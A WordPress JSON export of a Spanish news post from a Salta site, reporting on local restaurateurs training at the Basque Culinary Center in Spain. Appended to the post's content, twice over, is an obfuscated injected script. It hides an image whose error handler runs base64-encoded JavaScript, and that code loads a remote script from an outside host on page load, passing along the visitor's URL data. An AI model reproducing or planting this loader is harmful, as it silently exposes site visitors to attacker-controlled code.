{"id":3167,"date":"2023-10-10T12:18:03","date_gmt":"2023-10-10T15:18:03","guid":{"rendered":"https:\/\/circuitosalta.com.ar\/?p=3167"},"modified":"2025-08-14T00:07:21","modified_gmt":"2025-08-14T03:07:21","slug":"gastronomicos-saltenos-se-capacitan-en-espana-para-potenciar-la-oferta-culinaria","status":"publish","type":"post","link":"https:\/\/circuitosalta.com.ar\/?p=3167","title":{"rendered":"Gastron\u00f3micos salte\u00f1os se capacitan en Espa\u00f1a para potenciar la oferta culinaria"},"content":{"rendered":"\n<h4 class=\"wp-block-heading has-white-color has-text-color has-background\" style=\"background-color:#890549\"><em>Los conocimientos adquiridos en el instituto Basque Culinary (Espa\u00f1a) uno de los m\u00e1s prestigiosos del mundo, ser\u00e1n trasladados a la oferta gastron\u00f3mica local.<\/em><\/h4>\n\n\n\n<p>Santiago Caso es un salte\u00f1o de 33 a\u00f1os, empresario gastron\u00f3mico que viaj\u00f3 a San Sebasti\u00e1n, Espa\u00f1a a, realizar un curso del \u00e1rea en el Basque Culinary, una instituci\u00f3n pionera en innovaci\u00f3n y capacitaci\u00f3n. Junto a \u00e9l viajaron otros dos salte\u00f1os: Marcelo Madonni y Omar Morales; los tres accedieron al curso a trav\u00e9s de un acuerdo con la Federaci\u00f3n Empresaria Hotelera, Gastron\u00f3mica Argentina (FEHGRA).<\/p>\n\n\n\n<p>El empresario salte\u00f1o ya piensa en todo lo que har\u00e1 cuando llegue a Salta y, orgulloso, se refiere a un trago de vino tinto que ya es tendencia, \u201ces especial para el verano, me lo llevo a Salta para que mis comprovincianos y los turistas lo disfruten, junto al tapeo; todo ser\u00e1 una nueva experiencia que ofreceremos\u201d.<\/p>\n\n\n\n<p>Los empresarios salte\u00f1os que se capacitan en Espa\u00f1a recibieron el apoyo del Ministerio de Turismo y Deportes que facilit\u00f3 el viaje y acompa\u00f1a a los j\u00f3venes con el objetivo de promover la gastronom\u00eda en Salta<\/p>\n\n\n\n<p>Son 24 argentinos los participantes en la capacitaci\u00f3n; \u201ctuve compa\u00f1eros de todo el pa\u00eds, aprendimos sobre nuevas tendencias y compartimos vivencias, procedimientos de trabajo, todo para llevar a nuestra tierra y seguir creciendo\u201d.<\/p>\n\n\n\n<p><strong>Basque Culinary Center<\/strong><\/p>\n\n\n\n<p>Tiene por objetivo la formaci\u00f3n superior, la investigaci\u00f3n, innovaci\u00f3n y promoci\u00f3n de la gastronom\u00eda y la alimentaci\u00f3n; est\u00e1 formado por chefs, instituciones, empresas; de su Consejo Internacional participan importantes chef de nivel mundial; cuenta con un plan Estrat\u00e9gico de Desarrollo Sostenible, adem\u00e1s, integra la Facultad de Ciencias Gastron\u00f3micas adscrita a Mondragon Unibertsitatea y un Centro de Innovaci\u00f3n e Investigaci\u00f3n, BCC Innovation.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Fuente:\u00a0<strong><a href=\"https:\/\/www.salta.gob.ar\/prensa\/noticias\/gastronomicos-saltenios-se-capacitan-en-espania-para-potenciar-la-oferta-culinaria-92279\" target=\"_blank\" rel=\"noopener\" title=\"\">Secretar\u00eda de Prensa y Comunicaci\u00f3n<\/a><\/strong><\/p>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>Los conocimientos adquiridos en el instituto Basque Culinary (Espa\u00f1a) uno de los m\u00e1s prestigiosos del mundo, ser\u00e1n trasladados a la oferta gastron\u00f3mica local. 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